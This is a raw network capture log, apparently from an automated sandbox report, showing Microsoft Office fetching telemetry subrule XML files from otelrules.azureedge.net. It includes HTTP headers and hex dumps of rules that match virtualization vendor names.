2024-11-02 06:16:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	63767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:04 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: abdc4130-301e-0000-3f2e-2ceecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061604Z-176bd8f9bc56w2rshC1DFWd88n00000001y000000000epak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	63768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:04 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: c82f15e6-f01e-00aa-2d36-2c8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061605Z-16ccfc49897b872mhC1DFWqtb000000001ng00000000b3m8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	63769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:05 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cc16d6e3-a01e-001e-1208-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061605Z-16ccfc498974624whC1DFWdg3800000001f000000000mrps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	63770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:05 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 6c1a6569-101e-00a2-3008-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061605Z-16ccfc498972c2r2hC1DFWxq6800000001r000000000559v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	63771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:05 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1cb8ba43-301e-0033-2d08-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061605Z-16ccfc49897kh956hC1DFW2afc00000001vg000000003ut5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	63772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:05 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:05 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061605Z-16ccfc49897w6rdhhC1DFWb10w00000001pg0000000075av x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:05 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	63774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:05 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:05 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 48ab1ac5-a01e-0070-1038-2c573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061605Z-16ccfc49897d998fhC1DFWbah400000001mg00000000m406 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:05 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	63775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:05 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:06 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 24f20e23-801e-0078-0539-2bbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061606Z-16ccfc49897jxxn9hC1DFWexyc00000001kg00000000aghx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:06 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	63776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:05 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 23757113-901e-0029-2f3e-2c274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061606Z-r159446fcd7xfscrhC1DFWamb00000000150000000000p98 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	63777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:06 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:06 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: e515af6a-f01e-0099-70a8-2b9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061606Z-16dc884887bkpzdnhC1DFWbc3n00000001w0000000000cvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:06 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	63778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:06 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: dd9de73b-201e-00aa-8011-2c3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061606Z-176bd8f9bc5pqws8hC1DFW15kc000000019000000000du13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	63779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:06 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
